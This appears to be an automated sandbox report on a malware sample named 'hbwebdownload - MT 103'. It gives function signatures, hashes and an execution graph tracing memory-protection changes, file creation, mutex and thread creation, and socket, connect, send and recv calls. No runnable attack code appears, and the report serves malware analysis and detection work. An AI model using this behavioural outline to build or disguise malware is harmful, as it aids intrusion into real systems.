                                                                                                                                                                                    • Opcode Fuzzy Hash: 3dc2ca945d5003286bfa4d8e38ec97348b616e3f75f2ccab202ff0c5514e2c44
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0D51D4B6A20117BFDB11DB9CC89097EFBB8BB08640B14832DE6A9D7641D774DE4087A0
                                                                                                                                                                                    Function 01332410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                                                                                                                                                    • API String ID: 48624451-2108815105
                                                                                                                                                                                    • Opcode ID: 1aa7f9488808ae17b625ae07afb2a6cac9bf9f20792e91bdbae61962eeb451ba
                                                                                                                                                                                    • Instruction ID: d2952a0c1455857edbd5ea65c0e13db333458da53926053698bae0991336863f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1aa7f9488808ae17b625ae07afb2a6cac9bf9f20792e91bdbae61962eeb451ba
                                                                                                                                                                                    • Instruction Fuzzy Hash: 84510571A0064AAEDB30DF9DC89097FFBF8EF84208B448459E5D6D7681E6B4EA40C764
                                                                                                                                                                                    Function 012B7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • ExecuteOptions, xrefs: 012F46A0
                                                                                                                                                                                    • CLIENT(ntdll): Processing section info %ws..., xrefs: 012F4787
                                                                                                                                                                                    • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 012F4742
                                                                                                                                                                                    • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 012F4725
                                                                                                                                                                                    • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 012F4655
                                                                                                                                                                                    • Execute=1, xrefs: 012F4713
                                                                                                                                                                                    • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 012F46FC
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                                                                                                                                                    • API String ID: 0-484625025
                                                                                                                                                                                    • Opcode ID: 137c41779ad80244d1e7b173fa45668a21834a933cd607211d02803258c04152
                                                                                                                                                                                    • Instruction ID: bc65b1d096fc516b7cb56f1a693305bfa5334675de2e406fe95952f455a22dde
                                                                                                                                                                                    • Opcode Fuzzy Hash: 137c41779ad80244d1e7b173fa45668a21834a933cd607211d02803258c04152
                                                                                                                                                                                    • Instruction Fuzzy Hash: C351393162021A6EEF25AAA8DCD5FFE77BCAF94744F0400ADD705A71D0E770AA418F50
                                                                                                                                                                                    Function 01356940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                    • Instruction ID: 062f77f06d6eb595170ae7859d57c39bf48c32dc0771ad55040ebaff0c14af09
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2B0217B15083429FD745CF29C590E6BBBE5EFC8B08F448A2DFA8947254DB31E945CB42
                                                                                                                                                                                    Function 012CB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: __aulldvrm
                                                                                                                                                                                    • String ID: +$-$0$0
                                                                                                                                                                                    • API String ID: 1302938615-699404926
                                                                                                                                                                                    • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                    • Instruction ID: 2f04bced090ea4b70e4baed79c78d624bd3abcb406fca2b14da34db6e4b11ea1
                                                                                                                                                                                    • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                    • Instruction Fuzzy Hash: EA81C230E6124A8EEF298E6CC8537BEBBB1AF55B90F28431DDB51A72D1C7348840CB51
                                                                                                                                                                                    Function 013320E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: %%%u$[$]:%u
                                                                                                                                                                                    • API String ID: 48624451-2819853543
                                                                                                                                                                                    • Opcode ID: 9d0aa3ad33ffda33a16472313a6e47270f7500b5dfd1a8371eae0cb13e3e1338
                                                                                                                                                                                    • Instruction ID: 966a8bf3e5818c81303d2374d6aad115eaea3d00bc69b7666f6339c87b16c283
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9d0aa3ad33ffda33a16472313a6e47270f7500b5dfd1a8371eae0cb13e3e1338
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9021337AE10119ABDB21DE69DD44AFFBBF8AF94654F44011AEA05E3204E73099018BA5
                                                                                                                                                                                    Function 012AF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 012F02BD
                                                                                                                                                                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 012F02E7
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 012F031E
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                                                                                                                                                    • API String ID: 0-2474120054
                                                                                                                                                                                    • Opcode ID: 2c6fd58bfd0d60fa40e2c5778b55d2f80edeb79c5e128d49357338aeb5a6fd8b
                                                                                                                                                                                    • Instruction ID: bd6445d4c28cf4b5c54d5442540c3bdefd239a7637bbedee82fcf0d9ef0ad0d4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2c6fd58bfd0d60fa40e2c5778b55d2f80edeb79c5e128d49357338aeb5a6fd8b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 43E1C030624742DFE725CF28C985B2ABBE1FB84714F540A2DF6A58B2D2D778D844CB52
                                                                                                                                                                                    Function 012BBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 012F7B7F
                                                                                                                                                                                    • RTL: Resource at %p, xrefs: 012F7B8E
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 012F7BAC
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                    • API String ID: 0-871070163
                                                                                                                                                                                    • Opcode ID: 597eb5c50c7fc2b858fbe4aaff621252e80c5ac6ee8099608d81bb905df023b1
                                                                                                                                                                                    • Instruction ID: 72f7efedef83d0f18c5b03d8a2359bbb254491257042046ab9fa548c3f13eceb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 597eb5c50c7fc2b858fbe4aaff621252e80c5ac6ee8099608d81bb905df023b1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7141E2353247039FD725DE29C891BAAB7E5EF99710F000A2DFA5697280DB71E4058B91
                                                                                                                                                                                    Function 012BB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 012F728C
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 012F7294
                                                                                                                                                                                    • RTL: Resource at %p, xrefs: 012F72A3
                                                                                                                                                                                    • RTL: Re-Waiting, xrefs: 012F72C1
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                                                                                    • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                    • API String ID: 885266447-605551621
                                                                                                                                                                                    • Opcode ID: b0f3d683008e2b6d4ea57853f913b704763f4a9bc28ee8c5fde3da678f1d35d8
                                                                                                                                                                                    • Instruction ID: 633efc3d019fcff340a2cee46cdaada5fc607178b3402f366af2e79a55dee06a
                                                                                                                                                                                    • Opcode Fuzzy Hash: b0f3d683008e2b6d4ea57853f913b704763f4a9bc28ee8c5fde3da678f1d35d8
                                                                                                                                                                                    • Instruction Fuzzy Hash: 95410239760203AFD721DE29CC91FAAB7A5FB54714F10062DFA55AB280DB31F84687D1
                                                                                                                                                                                    Function 01332300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: %%%u$]:%u
                                                                                                                                                                                    • API String ID: 48624451-3050659472
                                                                                                                                                                                    • Opcode ID: e7ebc04868cf41fc4756402e7f95d4a484cceea4edc7e84cc64ae51c52f2a1c8
                                                                                                                                                                                    • Instruction ID: 1851b6ca7b94b7179f59be38a6d59ac857cd6617a91c0b8187a4b310ee7f514a
                                                                                                                                                                                    • Opcode Fuzzy Hash: e7ebc04868cf41fc4756402e7f95d4a484cceea4edc7e84cc64ae51c52f2a1c8
                                                                                                                                                                                    • Instruction Fuzzy Hash: 80316472A102199FDB20DE2DDC40BFFB7F8FB54614F84455AE949E3240EB30AA448BA4
                                                                                                                                                                                    Function 012C7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: __aulldvrm
                                                                                                                                                                                    • String ID: +$-
                                                                                                                                                                                    • API String ID: 1302938615-2137968064
                                                                                                                                                                                    • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                    • Instruction ID: 7ca3488527565b4157eea8d8351b018447bd10547de7cd0c9e9e590adeba3834
                                                                                                                                                                                    • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                    • Instruction Fuzzy Hash: D7918071E2021B9BEB24DF6DC8816BEBBA5BF44B20F14871EEB55A72C0D77099408F51
                                                                                                                                                                                    Function 01289126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $$@
                                                                                                                                                                                    • API String ID: 0-1194432280
                                                                                                                                                                                    • Opcode ID: 9fc680aaff5d717ee0ac307b33b2e7aaf62bff030f1f3368be56f4a2bc7ea548
                                                                                                                                                                                    • Instruction ID: c7add6e011d07f26ccb3a4d0d23041d9e0bfeea0f7a58173184dc76398c9c58d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9fc680aaff5d717ee0ac307b33b2e7aaf62bff030f1f3368be56f4a2bc7ea548
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1E812B71D1126ADBDB35DB58CC45BEEB7B8AB48714F0041DAEA1AB7280D7705E84CFA0

                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                    Execution Coverage:2.3%
                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                    Signature Coverage:4.7%
                                                                                                                                                                                    Total number of Nodes:444
                                                                                                                                                                                    Total number of Limit Nodes:15
                                                                                                                                                                                    execution_graph 13948 e7d9fbf 13950 e7da016 13948->13950 13949 e7da0f0 13950->13949 13953 e7d68f2 NtProtectVirtualMemory 13950->13953 13954 e7da0bb 13950->13954 13951 e7da0e8 13952 e7dd382 ObtainUserAgentString 13951->13952 13952->13949 13953->13954 13954->13951 13955 e7d68f2 NtProtectVirtualMemory 13954->13955 13955->13951 13873 e7dc8be 13875 e7dc8c3 13873->13875 13874 e7dc9a6 13875->13874 13876 e7dc995 ObtainUserAgentString 13875->13876 13876->13874 13761 e7e083a 13762 e7e0841 13761->13762 13763 e7e1f82 6 API calls 13762->13763 13765 e7e08c5 13763->13765 13764 e7e0906 13765->13764 13766 e7e1232 NtCreateFile 13765->13766 13766->13764 13877 e7de0b9 13878 e7de0ed 13877->13878 13880 e7de1f0 13877->13880 13879 e7e1f82 6 API calls 13878->13879 13878->13880 13879->13880 13893 e7e1f7a 13894 e7e1fb8 13893->13894 13895 e7de5b2 socket 13894->13895 13896 e7e2081 13894->13896 13904 e7e2022 13894->13904 13895->13896 13898 e7e2117 getaddrinfo 13896->13898 13899 e7e2134 13896->13899 13896->13904 13897 e7de732 connect 13902 e7e21b2 13897->13902 13898->13899 13899->13897 13899->13902 13899->13904 13900 e7de6b2 send 13903 e7e2729 13900->13903 13901 e7e27f4 setsockopt recv 13901->13904 13902->13900 13902->13904 13903->13901 13903->13904 13797 e7da0fb 13799 e7da137 13797->13799 13798 e7da2d5 13799->13798 13800 e7d68f2 NtProtectVirtualMemory 13799->13800 13801 e7da28a 13800->13801 13802 e7d68f2 NtProtectVirtualMemory 13801->13802 13805 e7da2a9 13802->13805 13803 e7da2cd 13804 e7dd382 ObtainUserAgentString 13803->13804 13804->13798 13805->13803 13806 e7d68f2 NtProtectVirtualMemory 13805->13806 13806->13803 13807 e7da2f4 13808 e7da349 13807->13808 13809 e7da49f 13808->13809 13811 e7d68f2 NtProtectVirtualMemory 13808->13811 13810 e7d68f2 NtProtectVirtualMemory 13809->13810 13814 e7da4c3 13809->13814 13810->13814 13812 e7da480 13811->13812 13813 e7d68f2 NtProtectVirtualMemory 13812->13813 13813->13809 13815 e7d68f2 NtProtectVirtualMemory 13814->13815 13816 e7da597 13814->13816 13815->13816 13817 e7d68f2 NtProtectVirtualMemory 13816->13817 13819 e7da5bf 13816->13819 13817->13819 13818 e7da6e1 13820 e7dd382 ObtainUserAgentString 13818->13820 13821 e7d68f2 NtProtectVirtualMemory 13819->13821 13822 e7da6b9 13819->13822 13823 e7da6e9 13820->13823 13821->13822 13822->13818 13824 e7d68f2 NtProtectVirtualMemory 13822->13824 13824->13818 13718 e7e1232 13720 e7e125c 13718->13720 13721 e7e1334 13718->13721 13719 e7e1410 NtCreateFile 13719->13721 13720->13719 13720->13721 13825 e7d60f1 13826 e7d6109 13825->13826 13830 e7d61d3 13825->13830 13827 e7d6012 6 API calls 13826->13827 13828 e7d6113 13827->13828 13829 e7e1f82 6 API calls 13828->13829 13828->13830 13829->13830 13928 e7d75f1 13929 e7d760e 13928->13929 13930 e7d7606 13928->13930 13931 e7dc662 6 API calls 13930->13931 13931->13929 13956 e7e39b3 13957 e7e39bd 13956->13957 13960 e7d86d2 13957->13960 13959 e7e39e0 13961 e7d8704 13960->13961 13962 e7d86f7 13960->13962 13964 e7d86ff 13961->13964 13965 e7d872d 13961->13965 13967 e7d8737 13961->13967 13963 e7d60f2 6 API calls 13962->13963 13963->13964 13964->13959 13969 e7de2c2 13965->13969 13967->13964 13968 e7e1f82 6 API calls 13967->13968 13968->13964 13970 e7de2df 13969->13970 13971 e7de2cb 13969->13971 13970->13964 13971->13970 13972 e7de0c2 6 API calls 13971->13972 13972->13970 13932 e7e39f1 13933 e7e39f7 13932->13933 13936 e7d8852 13933->13936 13935 e7e3a0f 13937 e7d8865 13936->13937 13938 e7d88e4 13936->13938 13937->13938 13940 e7d8887 13937->13940 13942 e7d887e 13937->13942 13938->13935 13939 e7de36f 13939->13935 13940->13938 13941 e7dc662 6 API calls 13940->13941 13941->13938 13942->13939 13943 e7de0c2 6 API calls 13942->13943 13943->13939 13570 e7e2bac 13571 e7e2bb1 13570->13571 13604 e7e2bb6 13571->13604 13605 e7d8b72 13571->13605 13573 e7e2c2c 13574 e7e2c85 13573->13574 13575 e7e2c69 13573->13575 13576 e7e2c54 13573->13576 13573->13604 13577 e7e0ab2 NtProtectVirtualMemory 13574->13577 13580 e7e2c6e 13575->13580 13581 e7e2c80 13575->13581 13579 e7e0ab2 NtProtectVirtualMemory 13576->13579 13578 e7e2c8d 13577->13578 13641 e7da102 13578->13641 13583 e7e2c5c 13579->13583 13584 e7e0ab2 NtProtectVirtualMemory 13580->13584 13581->13574 13585 e7e2c97 13581->13585 13627 e7d9ee2 13583->13627 13589 e7e2c76 13584->13589 13586 e7e2cbe 13585->13586 13587 e7e2c9c 13585->13587 13591 e7e2cd9 13586->13591 13592 e7e2cc7 13586->13592 13586->13604 13609 e7e0ab2 13587->13609 13633 e7d9fc2 13589->13633 13596 e7e0ab2 NtProtectVirtualMemory 13591->13596 13591->13604 13593 e7e0ab2 NtProtectVirtualMemory 13592->13593 13595 e7e2ccf 13593->13595 13651 e7da2f2 13595->13651 13599 e7e2ce5 13596->13599 13669 e7da712 13599->13669 13607 e7d8b93 13605->13607 13606 e7d8cce 13606->13573 13607->13606 13608 e7d8cb5 CreateMutexExW 13607->13608 13608->13606 13611 e7e0adf 13609->13611 13610 e7e0ebc 13619 e7d9de2 13610->13619 13611->13610 13681 e7d68f2 13611->13681 13613 e7e0e5c 13614 e7d68f2 NtProtectVirtualMemory 13613->13614 13615 e7e0e7c 13614->13615 13616 e7d68f2 NtProtectVirtualMemory 13615->13616 13617 e7e0e9c 13616->13617 13618 e7d68f2 NtProtectVirtualMemory 13617->13618 13618->13610 13621 e7d9df0 13619->13621 13620 e7d9ecd 13623 e7d6412 13620->13623 13621->13620 13706 e7dd382 13621->13706 13624 e7d6440 13623->13624 13625 e7d6473 13624->13625 13626 e7d644d CreateThread 13624->13626 13625->13604 13626->13604 13629 e7d9f06 13627->13629 13628 e7d9fa4 13628->13604 13629->13628 13630 e7d68f2 NtProtectVirtualMemory 13629->13630 13631 e7d9f9c 13630->13631 13632 e7dd382 ObtainUserAgentString 13631->13632 13632->13628 13634 e7da016 13633->13634 13637 e7da0f0 13634->13637 13638 e7d68f2 NtProtectVirtualMemory 13634->13638 13639 e7da0bb 13634->13639 13635 e7da0e8 13636 e7dd382 ObtainUserAgentString 13635->13636 13636->13637 13637->13604 13638->13639 13639->13635 13640 e7d68f2 NtProtectVirtualMemory 13639->13640 13640->13635 13643 e7da137 13641->13643 13642 e7da2d5 13642->13604 13643->13642 13644 e7d68f2 NtProtectVirtualMemory 13643->13644 13645 e7da28a 13644->13645 13646 e7d68f2 NtProtectVirtualMemory 13645->13646 13649 e7da2a9 13646->13649 13647 e7da2cd 13648 e7dd382 ObtainUserAgentString 13647->13648 13648->13642 13649->13647 13650 e7d68f2 NtProtectVirtualMemory 13649->13650 13650->13647 13652 e7da349 13651->13652 13653 e7da49f 13652->13653 13655 e7d68f2 NtProtectVirtualMemory 13652->13655 13654 e7d68f2 NtProtectVirtualMemory 13653->13654 13658 e7da4c3 13653->13658 13654->13658 13656 e7da480 13655->13656 13657 e7d68f2 NtProtectVirtualMemory 13656->13657 13657->13653 13659 e7d68f2 NtProtectVirtualMemory 13658->13659 13660 e7da597 13658->13660 13659->13660 13661 e7d68f2 NtProtectVirtualMemory 13660->13661 13663 e7da5bf 13660->13663 13661->13663 13662 e7da6e1 13664 e7dd382 ObtainUserAgentString 13662->13664 13665 e7d68f2 NtProtectVirtualMemory 13663->13665 13666 e7da6b9 13663->13666 13667 e7da6e9 13664->13667 13665->13666 13666->13662 13668 e7d68f2 NtProtectVirtualMemory 13666->13668 13667->13604 13668->13662 13670 e7da767 13669->13670 13671 e7d68f2 NtProtectVirtualMemory 13670->13671 13674 e7da903 13670->13674 13672 e7da8e3 13671->13672 13673 e7d68f2 NtProtectVirtualMemory 13672->13673 13673->13674 13677 e7d68f2 NtProtectVirtualMemory 13674->13677 13678 e7da992 13674->13678 13675 e7da9b7 13676 e7dd382 ObtainUserAgentString 13675->13676 13679 e7da9bf 13676->13679 13677->13678 13678->13675 13680 e7d68f2 NtProtectVirtualMemory 13678->13680 13679->13604 13680->13675 13682 e7d6987 13681->13682 13685 e7d69b2 13682->13685 13696 e7d7622 13682->13696 13684 e7d6c0c 13684->13613 13685->13684 13686 e7d6ba2 13685->13686 13688 e7d6ac5 13685->13688 13687 e7e2e12 NtProtectVirtualMemory 13686->13687 13695 e7d6b5b 13687->13695 13700 e7e2e12 13688->13700 13690 e7e2e12 NtProtectVirtualMemory 13690->13684 13691 e7d6ae3 13691->13684 13692 e7d6b3d 13691->13692 13693 e7e2e12 NtProtectVirtualMemory 13691->13693 13694 e7e2e12 NtProtectVirtualMemory 13692->13694 13693->13692 13694->13695 13695->13684 13695->13690 13697 e7d767a 13696->13697 13698 e7e2e12 NtProtectVirtualMemory 13697->13698 13699 e7d767e 13697->13699 13698->13697 13699->13685 13704 e7e1942 13700->13704 13702 e7e2e45 NtProtectVirtualMemory 13703 e7e2e70 13702->13703 13703->13691 13705 e7e1967 13704->13705 13705->13702 13707 e7dd3c7 13706->13707 13710 e7dd232 13707->13710 13709 e7dd438 13709->13620 13711 e7dd25e 13710->13711 13714 e7dc8c2 13711->13714 13713 e7dd26b 13713->13709 13715 e7dc934 13714->13715 13716 e7dc9a6 13715->13716 13717 e7dc995 ObtainUserAgentString 13715->13717 13716->13713 13717->13716 13767 e7d742e 13768 e7d745b 13767->13768 13776 e7d74c9 13767->13776 13769 e7e1232 NtCreateFile 13768->13769 13768->13776 13770 e7d7496 13769->13770 13771 e7d74c5 13770->13771 13773 e7d7082 NtCreateFile 13770->13773 13772 e7e1232 NtCreateFile 13771->13772 13771->13776 13772->13776 13774 e7d74b6 13773->13774 13774->13771 13775 e7d6f52 NtCreateFile 13774->13775 13775->13771 13925 e7de72e 13926 e7de788 connect 13925->13926 13927 e7de76a 13925->13927 13927->13926 13777 e7dd22a 13778 e7dd25e 13777->13778 13779 e7dc8c2 ObtainUserAgentString 13778->13779 13780 e7dd26b 13779->13780 13881 e7e3aa9 13882 e7e3aaf 13881->13882 13885 e7de212 13882->13885 13884 e7e3ac7 13886 e7de21b 13885->13886 13887 e7de237 13885->13887 13886->13887 13888 e7de0c2 6 API calls 13886->13888 13887->13884 13888->13887 13831 e7de2e4 13832 e7de36f 13831->13832 13833 e7de305 13831->13833 13833->13832 13835 e7de0c2 13833->13835 13836 e7de1f0 13835->13836 13837 e7de0cb 13835->13837 13836->13832 13837->13836 13838 e7e1f82 6 API calls 13837->13838 13838->13836 13905 e7d8b66 13907 e7d8b6a 13905->13907 13906 e7d8cce 13907->13906 13908 e7d8cb5 CreateMutexExW 13907->13908 13908->13906 13839 e7dbce2 13841 e7dbdd9 13839->13841 13840 e7dc022 13841->13840 13845 e7db352 13841->13845 13843 e7dbf0d 13843->13840 13854 e7db792 13843->13854 13846 e7db39e 13845->13846 13847 e7db58e 13846->13847 13848 e7db4ec 13846->13848 13850 e7db595 13846->13850 13847->13843 13849 e7e1232 NtCreateFile 13848->13849 13852 e7db4ff 13849->13852 13850->13847 13851 e7e1232 NtCreateFile 13850->13851 13851->13847 13852->13847 13853 e7e1232 NtCreateFile 13852->13853 13853->13847 13855 e7db7e0 13854->13855 13856 e7e1232 NtCreateFile 13855->13856 13858 e7db90c 13856->13858 13857 e7dbaf3 13857->13843 13858->13857 13859 e7db352 NtCreateFile 13858->13859 13860 e7db602 NtCreateFile 13858->13860 13859->13858 13860->13858 13479 e7d62dd 13480 e7d631a 13479->13480 13481 e7d63fa 13480->13481 13482 e7d6328 SleepEx 13480->13482 13486 e7e0f12 13480->13486 13495 e7d7432 13480->13495 13505 e7d60f2 13480->13505 13482->13480 13482->13482 13487 e7e0f48 13486->13487 13488 e7e1134 13487->13488 13489 e7e10e9 13487->13489 13494 e7e1232 NtCreateFile 13487->13494 13511 e7e1f82 13487->13511 13488->13480 13491 e7e1125 13489->13491 13523 e7e0842 13489->13523 13531 e7e0922 13491->13531 13494->13487 13496 e7d745b 13495->13496 13504 e7d74c9 13495->13504 13497 e7e1232 NtCreateFile 13496->13497 13496->13504 13498 e7d7496 13497->13498 13499 e7d74c5 13498->13499 13552 e7d7082 13498->13552 13500 e7e1232 NtCreateFile 13499->13500 13499->13504 13500->13504 13502 e7d74b6 13502->13499 13561 e7d6f52 13502->13561 13504->13480 13506 e7d6109 13505->13506 13510 e7d61d3 13505->13510 13566 e7d6012 13506->13566 13508 e7d6113 13509 e7e1f82 